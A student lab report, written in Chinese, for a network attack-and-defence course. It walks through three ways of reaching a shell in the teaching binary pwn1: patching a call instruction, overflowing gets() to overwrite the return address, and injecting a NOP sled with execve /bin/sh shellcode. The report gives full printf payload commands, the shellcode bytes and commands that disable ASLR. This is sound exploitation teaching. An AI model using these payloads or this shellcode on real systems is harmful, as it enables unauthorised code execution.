20252817 2025-2026-2 《网络攻防实践》实践九报告
1.实践内容
本次实践的主题是软件安全里的缓冲区溢出和 shellcode。实验对象是一个 Linux 下的 32 位可执行文件 pwn1。这个程序正常执行时,main 会调用 foo,foo 会把用户输入的字符串回显出来。程序里还包含一个 getShell 函数,正常流程不会运行它。
本次实验我主要完成三部分:
- 手工修改可执行文件,把
main中原本调用foo的指令改成调用getShell。 - 利用
foo中的缓冲区溢出问题,构造输入覆盖返回地址,让程序跳转到getShell。 - 构造带 NOP 滑道和 shellcode 的输入,让程序执行自己放到栈上的 shellcode。
实验中用到的几个基础指令和机器码如下:
| 汇编指令 | 常见机器码 | 简单理解 |
|---|---|---|
NOP |
90 |
空操作,本实验中用于 NOP 滑道 |
JMP |
EB 或 E9 |
无条件跳转 |
JE/JZ |
74 |
相等时跳转 |
JNE/JNZ |
75 |
不相等时跳转 |
CMP |
视操作数变化 | 比较两个值,后面常接条件跳转 |
2.实践过程
2.1 实验准备和文件识别
我先把老师给的 pwn1 复制到 Kali 桌面 exp9 文件夹,并改名成带学号的文件 20252817_pwn1。同时按照作业要求,把主机名改成了姓名拼音 chuhao。

为了后面栈地址比较稳定,我关闭了 ASLR:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
然后查看文件类型、哈希和栈权限:
cd /home/kali/Desktop/exp9/
hostname
ls -l 20252817_pwn1
file 20252817_pwn1
md5sum 20252817_pwn1
readelf -l 20252817_pwn1 | grep GNU_STACK

结果可以看出,20252817_pwn1 是 32 位 Linux ELF 程序,MD5 为:
da10f9e4de5da9b1d2cd6c726b77c9f2
GNU_STACK 一行显示 RWE,说明这个程序的栈是可读、可写、可执行的,所以后面注入 shellcode 具备实验条件。
2.2 反汇编查看关键函数
我使用 objdump 查看 getShell、foo 和 main:
objdump -d 20252817_pwn1 | grep -A8 '<getShell>:'
objdump -d 20252817_pwn1 | grep -A12 '<foo>:'
objdump -d 20252817_pwn1 | grep -A8 '<main>:'

从反汇编结果中看到几个关键地址:
| 函数 | 地址 |
|---|---|
getShell |
0x0804847d |
foo |
0x08048491 |
main |
0x080484af |
其中 main 里有一条调用 foo 的指令:
80484b5: e8 d7 ff ff ff call 8048491 <foo>
foo 里面使用了 gets,这个函数不会检查输入长度,所以这里存在缓冲区溢出风险。
2.3 手工修改可执行文件
这一部分可以理解成直接改程序执行路线。原来的流程是:
main -> foo
我要把它改成:
main -> getShell
这样程序运行时就不会进入 foo 回显输入,而是直接进入 getShell。
先复制一份实验文件,避免把原文件改坏:
cd ~/Desktop/exp9
cp 20252817_pwn1 20252817_pwn1_patch
chmod +x 20252817_pwn1_patch

通过前面的反汇编可以看到,main 中调用 foo 的指令在 0x080484b5:
80484b5: e8 d7 ff ff ff call 8048491 <foo>
这里真正需要改的是文件偏移 0x4b5 处的 5 个字节:
| 位置 | 修改前 | 修改后 | 作用 |
|---|---|---|---|
0x4b5 |
e8 d7 ff ff ff |
e8 c3 ff ff ff |
把调用目标从 foo 改成 getShell |
这里我用 vim + xxd 来改:
vim -b 20252817_pwn1_patch
进入 vim 后,先按一下 Esc,保证自己不在插入模式。然后输入下面的命令,把文件按十六进制形式显示:
:%!xxd
注意:这条命令要出现在 vim 最下面的命令行里。如果 :%!xxd 出现在正文第一行,说明输错位置了,需要用 :q! 不保存退出后重来。
然后翻到 000004b0 附近,找到:

000004b0: 89e5 83e4 f0e8 d7ff ffff b800 0000 00c9
我只需要把里面的 d7 改成 c3。最稳的做法是把光标放在 d7 的 d 上,按 r 再按 c;再把光标放在 7 上,按 r 再按 3。这样是替换字符,不会多插入或少删除。
修改后变成:
000004b0: 89e5 83e4 f0e8 c3ff ffff b800 0000 00c9

改完后输入下面两条命令还原并保存:
:%!xxd -r
:wq

这里要注意是“覆盖原来的字节”,不是插入新字节。文件大小不能变,否则程序格式可能被破坏。
改完后用 xxd 对比修改前后的字节,再用 objdump 确认 main 里已经变成调用 getShell:
xxd -g 1 -s 0x4b0 -l 24 20252817_pwn1
xxd -g 1 -s 0x4b0 -l 24 20252817_pwn1_patch
objdump -d 20252817_pwn1_patch | grep -A8 '<main>:'

可以看到修改后的 main 里已经变成:
call 804847d <getShell>
最后运行修改后的程序,并在打开的 shell 里执行 id:
./20252817_pwn1_patch
id
exit

输出里出现了:
uid=1000(kali)
说明程序已经进入了 getShell 打开的 shell。
2.4 覆盖返回地址跳转到 getShell
第二种方法不改程序文件,只在运行时输入一串特殊内容。foo 用了 gets 接收输入,它不检查输入长度,所以输入太长时会把栈上后面的内容覆盖掉。
函数执行完要返回时,会从栈上取“返回地址”。如果我把这个返回地址覆盖成 getShell 的地址,程序就会跳到 getShell。
我这里测试出的填充长度是 32 字节,也就是前面 32 个 A 用来填满缓冲区和中间内容,后面 4 个字节写 getShell 的地址。
payload 结构如下:
32 个 A + getShell 地址
getShell 地址是 0x0804847d。因为 x86 是小端序,所以写到 payload 里要写成:
7d 84 04 08
我一开始尝试用 vim + xxd 手工填写 payload,但发现只要模式或粘贴位置不对,就容易多出换行或编码字节。最后我用 printf 直接写入原始字节,然后再用 xxd 和 wc -c 检查。
rm -f payload_getshell
printf 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' > payload_getshell
printf '\x7d\x84\x04\x08' >> payload_getshell
xxd -g 1 payload_getshell
wc -c payload_getshell
正确结果应该是 36 字节,末尾 4 个字节是 7d 84 04 08。

然后把 payload 输入给程序。为了避免手动交互时 exit 不好退,我把 id 和 exit 也一起送进去:
{ cat payload_getshell; echo; sleep 1; echo id; sleep 1; echo exit; } | ./20252817_pwn1

输出中能看到 uid=1000(kali),说明返回地址确实被覆盖成了 getShell 的地址。
这里有一个现象:程序退出时有时会段错误。我的理解是返回地址和栈内容被我们改乱了,shell 退出后程序没法正常回到原来的流程。但因为已经成功进入 shell,这不影响本题结论。
2.5 注入并执行 shellcode
第三种方法比前两种更进一步。2.4 是跳到程序里本来就有的 getShell,而这一部分是把自己准备的 shellcode 放进输入里,再让程序跳到这段 shellcode 上执行。
这一步最好先确认 ASLR 是关闭的,否则栈地址每次变化,返回地址就不稳定:
cat /proc/sys/kernel/randomize_va_space

如果输出不是 0,就执行:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

本次使用的 shellcode 功能是执行 /bin/sh:
31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 53 89 e1 99 b0 0b cd 80
payload 的结构是:
32 个 A + 返回地址 + NOP 滑道 + shellcode
这里的 NOP 就是机器码 90,可以理解成“滑道”。返回地址不一定要刚好落在 shellcode 的第一个字节,只要落在前面的 NOP 区域,就会一路执行到 shellcode。
我这里跑通的返回地址是:
0xffffdc70
一开始我试过用 vim + xxd 粘贴十六进制内容,但 dc、ff、90 这类高位字节容易被保存成 UTF-8 编码,导致 xxd 里出现 c3 9c、c3 bf、c2 90。所以最终我改用 printf 逐段写入原始字节:
rm -f payload_shellcode
printf 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' > payload_shellcode
printf '\x70\xdc\xff\xff' >> payload_shellcode
for i in $(seq 1 64); do printf '\x90' >> payload_shellcode; done
printf '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80' >> payload_shellcode
保存后检查:
xxd -g 1 payload_shellcode | head
wc -c payload_shellcode
正确情况是 00000020 这一行能看到:
70 dc ff ff 90 90 90 90 ...
并且文件大小是 124 字节。

运行时同样把 payload 文件送给程序,并把 id、exit 一起送进去:
{ cat payload_shellcode; echo; sleep 1; echo id; sleep 1; echo exit; } | ./20252817_pwn1

结果中出现:
/bin//sh: 0: can't access tty; job control turned off
uid=1000(kali)
这说明程序没有跳到已有的 getShell 函数,而是执行了我放在栈里的 shellcode,并成功启动了 shell。
3.学习中遇到的问题及解决
-
问题1:一开始不确定要修改哪几个字节。
-
问题1解决方案:先用
objdump找到main中调用foo的位置,再看文件偏移0x4b5附近的机器码。确认e8 d7 ff ff ff是调用foo后,再把相对偏移改成调用getShell的e8 c3 ff ff ff。 -
问题2:使用
vim + xxd时,把:%!xxd输入到了正文里。 -
问题2解决方案:这是因为没有先按
Esc,还停留在插入模式。正确做法是先按Esc,再输入:%!xxd,并确认命令出现在vim最下面的命令行里。如果已经写进正文,就用:q!不保存退出后重来。 -
问题3:
20252817_pwn1_patch曾经被改坏,运行时报exec format error,objdump也提示file format not recognized。 -
问题3解决方案:不要继续在坏文件上改,直接删除
20252817_pwn1_patch,重新从20252817_pwn1复制一份。修改d7到c3时尽量用r替换单个字符,不要随便插入或删除。 -
问题4:构造
payload_getshell时,文件末尾曾经多出c2和0a。 -
问题4解决方案:用
xxd -g 1 payload_getshell和wc -c payload_getshell检查。正确结果必须是 36 字节,末尾必须是7d 84 04 08。后来我改用printf写原始字节,避免多出换行和编码字节。 -
问题5:使用
(cat payload_getshell; cat) | ./20252817_pwn1时,手动输入exit不好退出,有时需要Ctrl+C。 -
问题5解决方案:改成一次性把 payload、换行、
id和exit都送进去,例如{ cat payload_getshell; echo; sleep 1; echo id; sleep 1; echo exit; } | ./20252817_pwn1。这样更适合截图,也不容易卡住。 -
问题6:构造 shellcode payload 时,
dc ff ff 90被保存成了c3 9c c3 bf c3 bf c2 90。 -
问题6解决方案:这是因为不可见或高位字节被当成 UTF-8 字符保存了。后来改用
printf '\x..'逐段写入原始字节,并用xxd检查00000020行是否是70 dc ff ff 90 90 ...。
4.实践总结
这次实验让我更直观地理解了缓冲区溢出的过程。以前只是知道“覆盖返回地址”,但真正做的时候才发现,地址、字节顺序、文件大小、输入换行这些细节都会影响结果。
第一种方法是直接改程序文件,思路最简单,就是把 main 中调用 foo 的地方改成调用 getShell。第二种方法更接近缓冲区溢出的核心,通过输入内容覆盖返回地址,让程序跳到 getShell。第三种方法难度更高一些,因为它不再依赖程序里已有的 getShell,而是把 shellcode 放到栈上执行。
我觉得这次实验最重要的地方不是记住某个固定地址,而是理解程序执行流程为什么会被改变:CPU 执行到 ret 时,会从栈上取返回地址;如果这个地址被输入内容覆盖了,程序就会跳到我们指定的位置。这也是缓冲区溢出比较危险的原因。
另外,这次也让我意识到二进制实验不能只看“看起来像”。比如 Ü、ÿ、� 这些显示出来的字符,不一定就是我想写入的原始字节。最后还是要用 xxd 和 wc -c 检查,确认字节和长度都对,实验结果才可靠。
参考资料
- 课程实验指导:
实验指导书.txt - Gitee 实验指导链接:逆向与 BOF 基础
- 《网络攻防实践》课程资料
